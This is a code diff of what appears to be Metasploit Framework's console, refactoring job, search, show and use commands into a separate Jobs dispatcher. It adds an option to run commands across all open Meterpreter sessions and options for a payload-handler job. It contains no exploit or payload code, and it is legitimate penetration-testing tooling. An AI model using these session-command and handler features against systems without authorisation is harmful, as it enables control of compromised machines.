f.close if f
end
else
print(Serializer::ReadableText.dump_module(mod))
end
}
end
def cmd_options_help
print_line 'Usage: options [mod1 mod2 ...]'
print_line
print_line 'Queries the supplied module or modules for options. If no module is given,'
print_line 'show options for the currently active module.'
print_line
end
def cmd_options(*args)
if args.empty?
if (active_module)
show_options(active_module)
return true
else
show_global_options
return true
end
end
args.each do |name|
mod = framework.modules.create(name)
if (mod == nil)
print_error("Invalid module: #{name}")
else
show_options(mod)
end
end
end
#
# Tab completion for the advanced command (same as use)
#
# @param str (see #cmd_use_tabs)
# @param words (see #cmd_use_tabs)
def cmd_advanced_tabs(str, words)
cmd_use_tabs(str, words)
end
#
# Tab completion for the advanced command (same as use)
#
# @param str (see #cmd_use_tabs)
# @param words (see #cmd_use_tabs)
def cmd_info_tabs(str, words)
cmd_use_tabs(str, words)
end
#
# Tab completion for the advanced command (same as use)
#
# @param str (see #cmd_use_tabs)
# @param words (see #cmd_use_tabs)
def cmd_options_tabs(str, words)
cmd_use_tabs(str, words)
end
def cmd_irb_help
print_line "Usage: irb"
print_line
@@ -922,179 +531,6 @@ class Core
end
end
def cmd_rename_job_help
print_line "Usage: rename_job [ID] [Name]"
print_line
print_line "Example: rename_job 0 \"meterpreter HTTPS special\""
print_line
print_line "Rename a job that's currently active."
print_line "You may use the jobs command to see what jobs are available."
print_line
end
def cmd_rename_job(*args)
if args.include?('-h') || args.length != 2 || args[0] !~ /^\d+$/
cmd_rename_job_help
return false
end
job_id = args[0].to_s
job_name = args[1].to_s
unless framework.jobs[job_id]
print_error("Job #{job_id} does not exist.")
return false
end
# This is not respecting the Protected access control, but this seems to be the only way
# to rename a job. If you know a more appropriate way, patches accepted.
framework.jobs[job_id].send(:name=, job_name)
print_status("Job #{job_id} updated")
true
end
#
# Tab completion for the rename_job command
#
# @param str [String] the string currently being typed before tab was hit
# @param words [Array<String>] the previously completed words on the command line. words is always
# at least 1 when tab completion has reached this stage since the command itself has been completed
def cmd_rename_job_tabs(str, words)
return [] if words.length > 1
framework.jobs.keys
end
def cmd_jobs_help
print_line "Usage: jobs [options]"
print_line
print_line "Active job manipulation and interaction."
print @@jobs_opts.usage()
end
#
# Displays and manages running jobs for the active instance of the
# framework.
#
def cmd_jobs(*args)
# Make the default behavior listing all jobs if there were no options
# or the only option is the verbose flag
args.unshift("-l") if args.length == 0 || args == ["-v"]
verbose = false
dump_list = false
dump_info = false
job_id = nil
# Parse the command options
@@jobs_opts.parse(args) do |opt, idx, val|
case opt
when "-v"
verbose = true
when "-l"
dump_list = true
# Terminate the supplied job ID(s)
when "-k"
job_list = build_range_array(val)
if job_list.blank?
print_error("Please specify valid job identifier(s)")
return false
end
print_status("Stopping the following job(s): #{job_list.join(', ')}")
job_list.map(&:to_s).each do |job|
if framework.jobs.has_key?(job)
print_status("Stopping job #{job}")
framework.jobs.stop_job(job)
else
print_error("Invalid job identifier: #{job}")
end
end
when "-K"
print_line("Stopping all jobs...")
framework.jobs.each_key do |i|
framework.jobs.stop_job(i)
end
when "-i"
# Defer printing anything until the end of option parsing
# so we can check for the verbose flag.
dump_info = true
job_id = val
when "-h"
cmd_jobs_help
return false
end
end
if dump_list
print("\n#{Serializer::ReadableText.dump_jobs(framework, verbose)}\n")
end
if dump_info
if job_id && framework.jobs[job_id.to_s]
job = framework.jobs[job_id.to_s]
mod = job.ctx[0]
output = '\n'
output += "Name: #{mod.name}"
output += ", started at #{job.start_time}" if job.start_time
print_line(output)
show_options(mod) if mod.options.has_options?
if verbose
mod_opt = Serializer::ReadableText.dump_advanced_options(mod,' ')
if mod_opt && mod_opt.length > 0
print_line("\nModule advanced options:\n\n#{mod_opt}\n")
end
end
else
print_line("Invalid Job ID")
end
end
end
#
# Tab completion for the jobs command
#
# @param str [String] the string currently being typed before tab was hit
# @param words [Array<String>] the previously completed words on the command line. words is always
# at least 1 when tab completion has reached this stage since the command itself has been completed
def cmd_jobs_tabs(str, words)
if words.length == 1
return @@jobs_opts.fmt.keys
end
if words.length == 2 and (@@jobs_opts.fmt[words[1]] || [false])[0]
return framework.jobs.keys
end
[]
end
def cmd_kill_help
print_line "Usage: kill <job1> [job2 ...]"
print_line
print_line "Equivalent to 'jobs -k job1 -k job2 ...'"
print @@jobs_opts.usage()
end
def cmd_kill(*args)
cmd_jobs("-k", *args)
end
#
# Tab completion for the kill command
#
# @param str [String] the string currently being typed before tab was hit
# @param words [Array<String>] the previously completed words on the command line. words is always
# at least 1 when tab completion has reached this stage since the command itself has been completed
def cmd_kill_tabs(str, words)
return [] if words.length > 1
framework.jobs.keys
end
def cmd_threads_help
print_line "Usage: threads [options]"
print_line
@@ -1512,208 +948,6 @@ class Core
print_line("Saved configuration to: #{Msf::Config.config_file}")
end
def cmd_loadpath_help
print_line "Usage: loadpath </path/to/modules>"
print_line
print_line "Loads modules from the given directory which should contain subdirectories for"
print_line "module types, e.g. /path/to/modules/exploits"
print_line
end
#
# Adds one or more search paths.
#
def cmd_loadpath(*args)
if (args.length == 0 or args.include? "-h")
cmd_loadpath_help
return true
end
totals = {}
overall = 0
curr_path = nil
begin
# Walk the list of supplied search paths attempting to add each one
# along the way
args.each { |path|
curr_path = path
# Load modules, but do not consult the cache
if (counts = framework.modules.add_module_path(path))
counts.each_pair { |type, count|
totals[type] = (totals[type]) ? (totals[type] + count) : count
overall += count
}
end
}
rescue NameError, RuntimeError
log_error("Failed to add search path #{curr_path}: #{$!}")
return true
end
added = "Loaded #{overall} modules:\n"
totals.each_pair { |type, count|
added << " #{count} #{type}#{count != 1 ? 's' : ''}\n"
}
print(added)
end
#
# Tab completion for the loadpath command
#
# @param str [String] the string currently being typed before tab was hit
# @param words [Array<String>] the previously completed words on the command line. words is always
# at least 1 when tab completion has reached this stage since the command itself has been completed
def cmd_loadpath_tabs(str, words)
return [] if words.length > 1
# This custom completion might better than Readline's... We'll leave it for now.
#tab_complete_filenames(str,words)
paths = []
if (File.directory?(str))
paths = Dir.entries(str)
paths = paths.map { |f|
if File.directory? File.join(str,f)
File.join(str,f)
end
}
paths.delete_if { |f| f.nil? or File.basename(f) == '.' or File.basename(f) == '..' }
else
d = Dir.glob(str + "*").map { |f| f if File.directory?(f) }
d.delete_if { |f| f.nil? or f == '.' or f == '..' }
# If there's only one possibility, descend to the next level
if (1 == d.length)
paths = Dir.entries(d[0])
paths = paths.map { |f|
if File.directory? File.join(d[0],f)
File.join(d[0],f)
end
}
paths.delete_if { |f| f.nil? or File.basename(f) == '.' or File.basename(f) == '..' }
else
paths = d
end
end
paths.sort!
return paths
end
def cmd_search_help
print_line "Usage: search [keywords]"
print_line
print_line "Keywords:"
{
'app' => 'Modules that are client or server attacks',
'author' => 'Modules written by this author',
'bid' => 'Modules with a matching Bugtraq ID',
'cve' => 'Modules with a matching CVE ID',
'edb' => 'Modules with a matching Exploit-DB ID',
'name' => 'Modules with a matching descriptive name',
'platform' => 'Modules affecting this platform',
'ref' => 'Modules with a matching ref',
'type' => 'Modules of a specific type (exploit, auxiliary, or post)',
}.each_pair do |keyword, description|
print_line " #{keyword.ljust 10}: #{description}"
end
print_line
print_line "Examples:"
print_line " search cve:2009 type:exploit app:client"
print_line
end
#
# Searches modules for specific keywords
#
def cmd_search(*args)
match = ''
@@search_opts.parse(args) { |opt, idx, val|
case opt
when "-t"
print_error("Deprecated option. Use type:#{val} instead")
cmd_search_help
return
when "-h"
cmd_search_help
return
else
match += val + " "
end
}
if framework.db
if framework.db.migrated && framework.db.modules_cached
search_modules_sql(match)
return
else
print_warning("Module database cache not built yet, using slow search")
end
else
print_warning("Database not connected, using slow search")
end
tbl = generate_module_table("Matching Modules")
[
framework.exploits,
framework.auxiliary,
framework.post,
framework.payloads,
framework.nops,
framework.encoders
].each do |mset|
mset.each do |m|
o = mset.create(m[0]) rescue nil
# Expected if modules are loaded without the right pre-requirements
next if not o
if not o.search_filter(match)
tbl << [ o.fullname, o.disclosure_date.nil? ? "" : o.disclosure_date.strftime(DISCLOSURE_DATE_FORMAT), o.rank_to_s, o.name ]
end
end
end
print_line(tbl.to_s)
end
# Prints table of modules matching the search_string.
#
# @param (see Msf::DBManager#search_modules)
# @return [void]
def search_modules_sql(search_string)
tbl = generate_module_table("Matching Modules")
framework.db.search_modules(search_string).each do |o|
tbl << [ o.fullname, o.disclosure_date.nil? ? "" : o.disclosure_date.strftime(DISCLOSURE_DATE_FORMAT), RankingName[o.rank].to_s, o.name ]
end
print_line(tbl.to_s)
end
#
# Tab completion for the search command
#
# @param str [String] the string currently being typed before tab was hit
# @param words [Array<String>] the previously completed words on the command line. words is always
# at least 1 when tab completion has reached this stage since the command itself has been completed
def cmd_search_tabs(str, words)
if words.length == 1
return @@search_opts.fmt.keys
end
case (words[-1])
when "-r"
return RankingName.sort.map{|r| r[1]}
when "-t"
return %w{auxiliary encoder exploit nop payload post}
end
[]
end
def cmd_spool_help
print_line "Usage: spool <off>|<filename>"
@@ -1812,6 +1046,9 @@ class Core
when "-c"
method = 'cmd'
cmds << val if val
when "-C"
method = 'meterp-cmd'
cmds << val if val
when "-x"
show_extended = true
when "-v"
@@ -1934,6 +1171,40 @@ class Core
# commands on), so don't bother.
end
end
when 'meterp-cmd'
if cmds.length < 1
print_error("No command specified!")
return false
end
if sid
sessions = session_list
else
sessions = framework.sessions.keys.sort
end
if sessions.blank?
print_error("Please specify valid session identifier(s) using -i")
return false
end
cmds.each do |cmd|
sessions.each do |session|
session = verify_session(session)
unless session.type == 'meterpreter'
print_error "Session ##{session.sid} is not a Meterpreter shell. Skipping..."
next
end
next unless session
print_status("Running '#{cmd}' on #{session.type} session #{session.sid} (#{session.session_host})")
if session.respond_to?(:response_timeout)
last_known_timeout = session.response_timeout
session.response_timeout = response_timeout
end
output = session.run_cmd cmd
end
end
when 'kill'
print_status("Killing the following session(s): #{session_list.join(', ')}")
session_list.each do |sess_id|
@@ -2330,122 +1601,6 @@ class Core
cmd_set_tabs(str, words)
end
def cmd_show_help
global_opts = %w{all encoders nops exploits payloads auxiliary plugins info options}
print_status("Valid parameters for the \"show\" command are: #{global_opts.join(", ")}")
module_opts = %w{ missing advanced evasion targets actions }
print_status("Additional module-specific parameters are: #{module_opts.join(", ")}")
end
#
# Displays the list of modules based on their type, or all modules if
# no type is provided.
#
def cmd_show(*args)
mod = self.active_module
args << "all" if (args.length == 0)
args.each { |type|
case type
when '-h'
cmd_show_help
when 'all'
show_encoders
show_nops
show_exploits
show_payloads
show_auxiliary
show_post
show_plugins
when 'encoders'
show_encoders
when 'nops'
show_nops
when 'exploits'
show_exploits
when 'payloads'
show_payloads
when 'auxiliary'
show_auxiliary
when 'post'
show_post
when 'info'
cmd_info(*args[1, args.length])
when 'options'
if (mod)
show_options(mod)
else
show_global_options
end
when 'missing'
if (mod)
show_missing(mod)
else
print_error("No module selected.")
end
when 'advanced'
if (mod)
show_advanced_options(mod)
else
print_error("No module selected.")
end
when 'evasion'
if (mod)
show_evasion_options(mod)
else
print_error("No module selected.")
end
when 'sessions'
if (active_module and active_module.respond_to?(:compatible_sessions))
sessions = active_module.compatible_sessions
else
sessions = framework.sessions.keys.sort
end
print_line
print(Serializer::ReadableText.dump_sessions(framework, :session_ids => sessions))
print_line
when "plugins"
show_plugins
when "targets"
if (mod and mod.exploit?)
show_targets(mod)
else
print_error("No exploit module selected.")
end
when "actions"
if mod && mod.kind_of?(Msf::Module::HasActions)
show_actions(mod)
else
print_error("No module with actions selected.")
end
else
print_error("Invalid parameter \"#{type}\", use \"show -h\" for more information")
end
}
end
#
# Tab completion for the show command
#
# @param str [String] the string currently being typed before tab was hit
# @param words [Array<String>] the previously completed words on the command line. words is always
# at least 1 when tab completion has reached this stage since the command itself has been completed
def cmd_show_tabs(str, words)
return [] if words.length > 1
res = %w{all encoders nops exploits payloads auxiliary post plugins options}
if (active_module)
res.concat(%w{ missing advanced evasion targets actions })
if (active_module.respond_to? :compatible_sessions)
res << "sessions"
end
end
return res
end
def cmd_unload_help
print_line "Usage: unload <plugin name>"
@@ -2669,203 +1824,6 @@ class Core
alias cmd_unsetg_help cmd_unset_help
def cmd_use_help
print_line "Usage: use module_name"
print_line
print_line "The use command is used to interact with a module of a given name."
print_line
end
#
# Uses a module.
#
def cmd_use(*args)
if (args.length == 0)
cmd_use_help
return false
end
# Try to create an instance of the supplied module name
mod_name = args[0]
begin
mod = framework.modules.create(mod_name)
unless mod
# Try one more time; see #4549
sleep CMD_USE_TIMEOUT
mod = framework.modules.create(mod_name)
unless mod
print_error("Failed to load module: #{mod_name}")
return false
end
end
rescue Rex::AmbiguousArgumentError => info
print_error(info.to_s)
rescue NameError => info
log_error("The supplied module name is ambiguous: #{$!}.")
end
return false if (mod == nil)
# Enstack the command dispatcher for this module type
dispatcher = nil
case mod.type
when Msf::MODULE_ENCODER
dispatcher = Msf::Ui::Console::CommandDispatcher::Encoder
when Msf::MODULE_EXPLOIT
dispatcher = Msf::Ui::Console::CommandDispatcher::Exploit
when Msf::MODULE_NOP
dispatcher = Msf::Ui::Console::CommandDispatcher::Nop
when Msf::MODULE_PAYLOAD
dispatcher = Msf::Ui::Console::CommandDispatcher::Payload
when Msf::MODULE_AUX
dispatcher = Msf::Ui::Console::CommandDispatcher::Auxiliary
when Msf::MODULE_POST
dispatcher = Msf::Ui::Console::CommandDispatcher::Post
else
print_error("Unsupported module type: #{mod.type}")
return false
end
# If there's currently an active module, enqueque it and go back
if (active_module)
@previous_module = active_module
cmd_back()
end
if (dispatcher != nil)
driver.enstack_dispatcher(dispatcher)
end
# Update the active module
self.active_module = mod
# If a datastore cache exists for this module, then load it up
if @dscache[active_module.fullname]
active_module.datastore.update(@dscache[active_module.fullname])
end
@cache_payloads = nil
mod.init_ui(driver.input, driver.output)
# Update the command prompt
prompt = framework.datastore['Prompt'] || Msf::Ui::Console::Driver::DefaultPrompt
prompt_char = framework.datastore['PromptChar'] || Msf::Ui::Console::Driver::DefaultPromptChar
driver.update_prompt("#{prompt} #{mod.type}(%bld%red#{mod.shortname}%clr) ", prompt_char, true)
end
#
# Command to take to the previously active module
#
def cmd_previous()
if @previous_module
self.cmd_use(@previous_module.fullname)
else
print_error("There isn't a previous module at the moment")
end
end
#
# Help for the 'previous' command
#
def cmd_previous_help
print_line "Usage: previous"
print_line
print_line "Set the previously loaded module as the current module"
print_line
end
#
# Command to enqueque a module on the module stack
#
def cmd_pushm(*args)
# could check if each argument is a valid module, but for now let them hang themselves
if args.count > 0
args.each do |arg|
@module_name_stack.push(arg)
# Note new modules are appended to the array and are only module (full)names
end
else #then just push the active module
if active_module
#print_status "Pushing the active module"
@module_name_stack.push(active_module.fullname)
else
print_error("There isn't an active module and you didn't specify a module to push")
return self.cmd_pushm_help
end
end
end
#
# Tab completion for the pushm command
#
# @param str [String] the string currently being typed before tab was hit
# @param words [Array<String>] the previously completed words on the command line. words is always
# at least 1 when tab completion has reached this stage since the command itself has been completed
def cmd_pushm_tabs(str, words)
tab_complete_module(str, words)
end
#
# Help for the 'pushm' command
#
def cmd_pushm_help
print_line "Usage: pushm [module1 [,module2, module3...]]"
print_line
print_line "push current active module or specified modules onto the module stack"
print_line
end
#
# Command to dequeque a module from the module stack
#
def cmd_popm(*args)
if (args.count > 1 or not args[0].respond_to?("to_i"))
return self.cmd_popm_help
elsif args.count == 1
# then pop 'n' items off the stack, but don't change the active module
if args[0].to_i >= @module_name_stack.count
# in case they pass in a number >= the length of @module_name_stack
@module_name_stack = []
print_status("The module stack is empty")
else
@module_name_stack.pop[args[0]]
end
else #then just pop the array and make that the active module
pop = @module_name_stack.pop
if pop
return self.cmd_use(pop)
else
print_error("There isn't anything to pop, the module stack is empty")
end
end
end
#
# Help for the 'popm' command
#
def cmd_popm_help
print_line "Usage: popm [n]"
print_line
print_line "pop the latest module off of the module stack and make it the active module"
print_line "or pop n modules off the stack, but don't change the active module"
print_line
end
#
# Tab completion for the use command
#
# @param str [String] the string currently being typed before tab was hit
# @param words [Array<String>] the previously completed words on the command line. words is always
# at least 1 when tab completion has reached this stage since the command itself has been completd
def cmd_use_tabs(str, words)
return [] if words.length > 1
tab_complete_module(str, words)
end
#
# Returns the revision of the framework and console library
@@ -3023,22 +1981,6 @@ class Core
tabs
end
#
# Tab complete module names
#
def tab_complete_module(str, words)
res = []
framework.modules.module_types.each do |mtyp|
mset = framework.modules.module_names(mtyp)
mset.each do |mref|
res << mtyp + '/' + mref
end
end
return res.sort
end
#
# Provide tab completion for option values
#
@@ -3341,252 +2283,7 @@ class Core
return binary_paths.include? Msf::Config.install_root
end
#
# Module list enumeration
#
def show_encoders(regex = nil, minrank = nil, opts = nil) # :nodoc:
# If an active module has been selected and it's an exploit, get the
# list of compatible encoders and display them
if (active_module and active_module.exploit? == true)
show_module_set("Compatible Encoders", active_module.compatible_encoders, regex, minrank, opts)
else
show_module_set("Encoders", framework.encoders, regex, minrank, opts)
end
end
def show_nops(regex = nil, minrank = nil, opts = nil) # :nodoc:
show_module_set("NOP Generators", framework.nops, regex, minrank, opts)
end
def show_exploits(regex = nil, minrank = nil, opts = nil) # :nodoc:
show_module_set("Exploits", framework.exploits, regex, minrank, opts)
end
def show_payloads(regex = nil, minrank = nil, opts = nil) # :nodoc:
# If an active module has been selected and it's an exploit, get the
# list of compatible payloads and display them
if (active_module and active_module.exploit? == true)
show_module_set("Compatible Payloads", active_module.compatible_payloads, regex, minrank, opts)
else
show_module_set("Payloads", framework.payloads, regex, minrank, opts)
end
end
def show_auxiliary(regex = nil, minrank = nil, opts = nil) # :nodoc:
show_module_set("Auxiliary", framework.auxiliary, regex, minrank, opts)
end
def show_post(regex = nil, minrank = nil, opts = nil) # :nodoc:
show_module_set("Post", framework.post, regex, minrank, opts)
end
def show_options(mod) # :nodoc:
mod_opt = Serializer::ReadableText.dump_options(mod, ' ')
print("\nModule options (#{mod.fullname}):\n\n#{mod_opt}\n") if (mod_opt and mod_opt.length > 0)
# If it's an exploit and a payload is defined, create it and
# display the payload's options
if (mod.exploit? and mod.datastore['PAYLOAD'])
p = framework.payloads.create(mod.datastore['PAYLOAD'])
if (!p)
print_error("Invalid payload defined: #{mod.datastore['PAYLOAD']}\n")
return
end
p.share_datastore(mod.datastore)
if (p)
p_opt = Serializer::ReadableText.dump_options(p, ' ')
print("\nPayload options (#{mod.datastore['PAYLOAD']}):\n\n#{p_opt}\n") if (p_opt and p_opt.length > 0)
end
end
# Print the selected target
if (mod.exploit? and mod.target)
mod_targ = Serializer::ReadableText.dump_exploit_target(mod, ' ')
print("\nExploit target:\n\n#{mod_targ}\n") if (mod_targ and mod_targ.length > 0)
end
# Print the selected action
if mod.kind_of?(Msf::Module::HasActions) && mod.action
mod_action = Serializer::ReadableText.dump_module_action(mod, ' ')
print("\n#{mod.type.capitalize} action:\n\n#{mod_action}\n") if (mod_action and mod_action.length > 0)
end
# Uncomment this line if u want target like msf2 format
#print("\nTarget: #{mod.target.name}\n\n")
end
def show_missing(mod) # :nodoc:
mod_opt = Serializer::ReadableText.dump_options(mod, ' ', true)
print("\nModule options (#{mod.fullname}):\n\n#{mod_opt}\n") if (mod_opt and mod_opt.length > 0)
# If it's an exploit and a payload is defined, create it and
# display the payload's options
if (mod.exploit? and mod.datastore['PAYLOAD'])
p = framework.payloads.create(mod.datastore['PAYLOAD'])
if (!p)
print_error("Invalid payload defined: #{mod.datastore['PAYLOAD']}\n")
return
end
p.share_datastore(mod.datastore)
if (p)
p_opt = Serializer::ReadableText.dump_options(p, ' ', true)
print("\nPayload options (#{mod.datastore['PAYLOAD']}):\n\n#{p_opt}\n") if (p_opt and p_opt.length > 0)
end
end
end
def show_global_options
columns = [ 'Option', 'Current Setting', 'Description' ]
tbl = Table.new(
Table::Style::Default,
'Header' => 'Global Options:',
'Prefix' => "\n",
'Postfix' => "\n",
'Columns' => columns
)
[
[ 'ConsoleLogging', framework.datastore['ConsoleLogging'] || "false", 'Log all console input and output' ],
[ 'LogLevel', framework.datastore['LogLevel'] || "0", 'Verbosity of logs (default 0, max 3)' ],
[ 'MinimumRank', framework.datastore['MinimumRank'] || "0", 'The minimum rank of exploits that will run without explicit confirmation' ],
[ 'SessionLogging', framework.datastore['SessionLogging'] || "false", 'Log all input and output for sessions' ],
[ 'TimestampOutput', framework.datastore['TimestampOutput'] || "false", 'Prefix all console output with a timestamp' ],
[ 'Prompt', framework.datastore['Prompt'] || Msf::Ui::Console::Driver::DefaultPrompt.to_s.gsub(/%.../,"") , "The prompt string" ],
[ 'PromptChar', framework.datastore['PromptChar'] || Msf::Ui::Console::Driver::DefaultPromptChar.to_s.gsub(/%.../,""), "The prompt character" ],
[ 'PromptTimeFormat', framework.datastore['PromptTimeFormat'] || Time::DATE_FORMATS[:db].to_s, 'Format for timestamp escapes in prompts' ],
].each { |r| tbl << r }
print(tbl.to_s)
end
def show_targets(mod) # :nodoc:
mod_targs = Serializer::ReadableText.dump_exploit_targets(mod, ' ')
print("\nExploit targets:\n\n#{mod_targs}\n") if (mod_targs and mod_targs.length > 0)
end
def show_actions(mod) # :nodoc:
mod_actions = Serializer::ReadableText.dump_module_actions(mod, ' ')
print("\n#{mod.type.capitalize} actions:\n\n#{mod_actions}\n") if (mod_actions and mod_actions.length > 0)
end
def show_advanced_options(mod) # :nodoc:
mod_opt = Serializer::ReadableText.dump_advanced_options(mod, ' ')
print("\nModule advanced options (#{mod.fullname}):\n\n#{mod_opt}\n") if (mod_opt and mod_opt.length > 0)
# If it's an exploit and a payload is defined, create it and
# display the payload's options
if (mod.exploit? and mod.datastore['PAYLOAD'])
p = framework.payloads.create(mod.datastore['PAYLOAD'])
if (!p)
print_error("Invalid payload defined: #{mod.datastore['PAYLOAD']}\n")
return
end
p.share_datastore(mod.datastore)
if (p)
p_opt = Serializer::ReadableText.dump_advanced_options(p, ' ')
print("\nPayload advanced options (#{mod.datastore['PAYLOAD']}):\n\n#{p_opt}\n") if (p_opt and p_opt.length > 0)
end
end
end
def show_evasion_options(mod) # :nodoc:
mod_opt = Serializer::ReadableText.dump_evasion_options(mod, ' ')
print("\nModule evasion options:\n\n#{mod_opt}\n") if (mod_opt and mod_opt.length > 0)
# If it's an exploit and a payload is defined, create it and
# display the payload's options
if (mod.exploit? and mod.datastore['PAYLOAD'])
p = framework.payloads.create(mod.datastore['PAYLOAD'])
if (!p)
print_error("Invalid payload defined: #{mod.datastore['PAYLOAD']}\n")
return
end
p.share_datastore(mod.datastore)
if (p)
p_opt = Serializer::ReadableText.dump_evasion_options(p, ' ')
print("\nPayload evasion options (#{mod.datastore['PAYLOAD']}):\n\n#{p_opt}\n") if (p_opt and p_opt.length > 0)
end
end
end
def show_plugins # :nodoc:
tbl = Table.new(
Table::Style::Default,
'Header' => 'Plugins',
'Prefix' => "\n",
'Postfix' => "\n",
'Columns' => [ 'Name', 'Description' ]
)
framework.plugins.each { |plugin|
tbl << [ plugin.name, plugin.desc ]
}
print(tbl.to_s)
end
def show_module_set(type, module_set, regex = nil, minrank = nil, opts = nil) # :nodoc:
tbl = generate_module_table(type)
module_set.sort.each { |refname, mod|
o = nil
begin
o = mod.new
rescue ::Exception
end
next if not o
# handle a search string, search deep
if (
not regex or
o.name.match(regex) or
o.description.match(regex) or
o.refname.match(regex) or
o.references.map{|x| [x.ctx_id + '-' + x.ctx_val, x.to_s]}.join(' ').match(regex) or
o.author.to_s.match(regex)
)
if (not minrank or minrank <= o.rank)
show = true
if opts
mod_opt_keys = o.options.keys.map { |x| x.downcase }
opts.each do |opt,val|
if !mod_opt_keys.include?(opt.downcase) || (val != nil && o.datastore[opt] != val)
show = false
end
end
end
if (opts == nil or show == true)
tbl << [ refname, o.disclosure_date.nil? ? "" : o.disclosure_date.strftime(DISCLOSURE_DATE_FORMAT), o.rank_to_s, o.name ]
end
end
end
}
print(tbl.to_s)
end
def generate_module_table(type) # :nodoc:
Table.new(
Table::Style::Default,
'Header' => type,
'Prefix' => "\n",
'Postfix' => "\n",
'Columns' => [ 'Name', 'Disclosure Date', 'Rank', 'Description' ]
)
end
#
# Returns an array of lines at the provided line number plus any before and/or after lines requested
# from all_lines by supplying the +before+ and/or +after+ parameters which are always positive
@@ -3606,35 +2303,7 @@ class Core
all_lines.slice(start..finish)
end
#
# Generate an array of job or session IDs from a given range String.
# Always returns an Array.
#
# @param id_list [String] Range or list description such as 1-5 or 1,3,5 etc
# @return [Array<String>] Representing the range
def build_range_array(id_list)
item_list = []
unless id_list.blank?
temp_list = id_list.split(',')
temp_list.each do |ele|
return if ele.count('-') > 1
return if ele.first == '-' || ele[-1] == '-'
return if ele.first == '.' || ele[-1] == '.'
if ele.include? '-'
temp_array = (ele.split("-").inject { |s, e| s.to_i..e.to_i }).to_a
item_list.concat(temp_array)
elsif ele.include? '..'
temp_array = (ele.split("..").inject { |s, e| s.to_i..e.to_i }).to_a
item_list.concat(temp_array)
else
item_list.push(ele.to_i)
end
end
end
item_list.uniq.sort
end
end
@@ -0,0 +1,341 @@
# frozen_string_literal: true
# -*- coding: binary -*-
#
# Rex
#
require 'rex/ui/text/output/buffer/stdout'
module Msf
module Ui
module Console
module CommandDispatcher
#
# {CommandDispatcher} for commands related to background jobs in Metasploit Framework.
#
class Jobs
include Msf::Ui::Console::CommandDispatcher
@@handler_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help Banner"],
"-x" => [ false, "Shut the Handler down after a session is established"],
"-p" => [ true, "The payload to configure the handler for"],
"-P" => [ true, "The RPORT/LPORT to configure the handler for"],
"-H" => [ true, "The RHOST/LHOST to configure the handler for"],
"-e" => [ true, "An Encoder to use for Payload Stage Encoding"],
"-n" => [ true, "The custom name to give the handler job"]
)
@@jobs_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help banner." ],
"-k" => [ true, "Terminate jobs by job ID and/or range." ],
"-K" => [ false, "Terminate all running jobs." ],
"-i" => [ true, "Lists detailed information about a running job."],
"-l" => [ false, "List all running jobs." ],
"-v" => [ false, "Print more detailed info. Use with -i and -l" ]
)
def commands
{
"jobs" => "Displays and manages jobs",
"rename_job" => "Rename a job",
"kill" => "Kill a job",
"handler" => "Start a payload handler as job"
}
end
#
# Returns the name of the command dispatcher.
#
def name
"Job"
end
def cmd_rename_job_help
print_line "Usage: rename_job [ID] [Name]"
print_line
print_line "Example: rename_job 0 \"meterpreter HTTPS special\""
print_line
print_line "Rename a job that's currently active."
print_line "You may use the jobs command to see what jobs are available."
print_line
end
def cmd_rename_job(*args)
if args.include?('-h') || args.length != 2 || args[0] !~ /^\d+$/
cmd_rename_job_help
return false
end
job_id = args[0].to_s
job_name = args[1].to_s
unless framework.jobs[job_id]
print_error("Job #{job_id} does not exist.")
return false
end
# This is not respecting the Protected access control, but this seems to be the only way
# to rename a job. If you know a more appropriate way, patches accepted.
framework.jobs[job_id].send(:name=, job_name)
print_status("Job #{job_id} updated")
true
end
#
# Tab completion for the rename_job command
#
# @param str [String] the string currently being typed before tab was hit
# @param words [Array<String>] the previously completed words on the command line. words is always
# at least 1 when tab completion has reached this stage since the command itself has been completed
def cmd_rename_job_tabs(_str, words)
return [] if words.length > 1
framework.jobs.keys
end
def cmd_jobs_help
print_line "Usage: jobs [options]"
print_line
print_line "Active job manipulation and interaction."
print @@jobs_opts.usage
end
#
# Displays and manages running jobs for the active instance of the
# framework.
#
def cmd_jobs(*args)
# Make the default behavior listing all jobs if there were no options
# or the only option is the verbose flag
args.unshift("-l") if args.empty? || args == ["-v"]
verbose = false
dump_list = false
dump_info = false
job_id = nil
# Parse the command options
@@jobs_opts.parse(args) do |opt, _idx, val|
case opt
when "-v"
verbose = true
when "-l"
dump_list = true
# Terminate the supplied job ID(s)
when "-k"
job_list = build_range_array(val)
if job_list.blank?
print_error("Please specify valid job identifier(s)")
return false
end
print_status("Stopping the following job(s): #{job_list.join(', ')}")
job_list.map(&:to_s).each do |job|
if framework.jobs.key?(job)
print_status("Stopping job #{job}")
framework.jobs.stop_job(job)
else
print_error("Invalid job identifier: #{job}")
end
end
when "-K"
print_line("Stopping all jobs...")
framework.jobs.each_key do |i|
framework.jobs.stop_job(i)
end
when "-i"
# Defer printing anything until the end of option parsing
# so we can check for the verbose flag.
dump_info = true
job_id = val
when "-h"
cmd_jobs_help
return false
end
end
if dump_list
print("\n#{Serializer::ReadableText.dump_jobs(framework, verbose)}\n")
end
if dump_info
if job_id && framework.jobs[job_id.to_s]
job = framework.jobs[job_id.to_s]
mod = job.ctx[0]
output = '\n'
output += "Name: #{mod.name}"
output += ", started at #{job.start_time}" if job.start_time
print_line(output)
show_options(mod) if mod.options.has_options?
if verbose
mod_opt = Serializer::ReadableText.dump_advanced_options(mod, ' ')
if mod_opt && !mod_opt.empty?
print_line("\nModule advanced options:\n\n#{mod_opt}\n")
end
end
else
print_line("Invalid Job ID")
end
end
end
#
# Tab completion for the jobs command
#
# @param str [String] the string currently being typed before tab was hit
# @param words [Array<String>] the previously completed words on the command line. words is always
# at least 1 when tab completion has reached this stage since the command itself has been completed
def cmd_jobs_tabs(_str, words)
return @@jobs_opts.fmt.keys if words.length == 1
if words.length == 2 && (@@jobs_opts.fmt[words[1]] || [false])[0]
return framework.jobs.keys
end
[]
end
def cmd_kill_help
print_line "Usage: kill <job1> [job2 ...]"
print_line
print_line "Equivalent to 'jobs -k job1 -k job2 ...'"
print @@jobs_opts.usage
end
def cmd_kill(*args)
cmd_jobs("-k", *args)
end
#
# Tab completion for the kill command
#
# @param str [String] the string currently being typed before tab was hit
# @param words [Array<String>] the previously completed words on the command line. words is always
# at least 1 when tab completion has reached this stage since the command itself has been completed
def cmd_kill_tabs(_str, words)
return [] if words.length > 1
framework.jobs.keys
end
def cmd_handler_help
print_line "Usage: handler [options]"
print_line
print_line "Spin up a Payload Handler as background job."
print @@handler_opts.usage
end
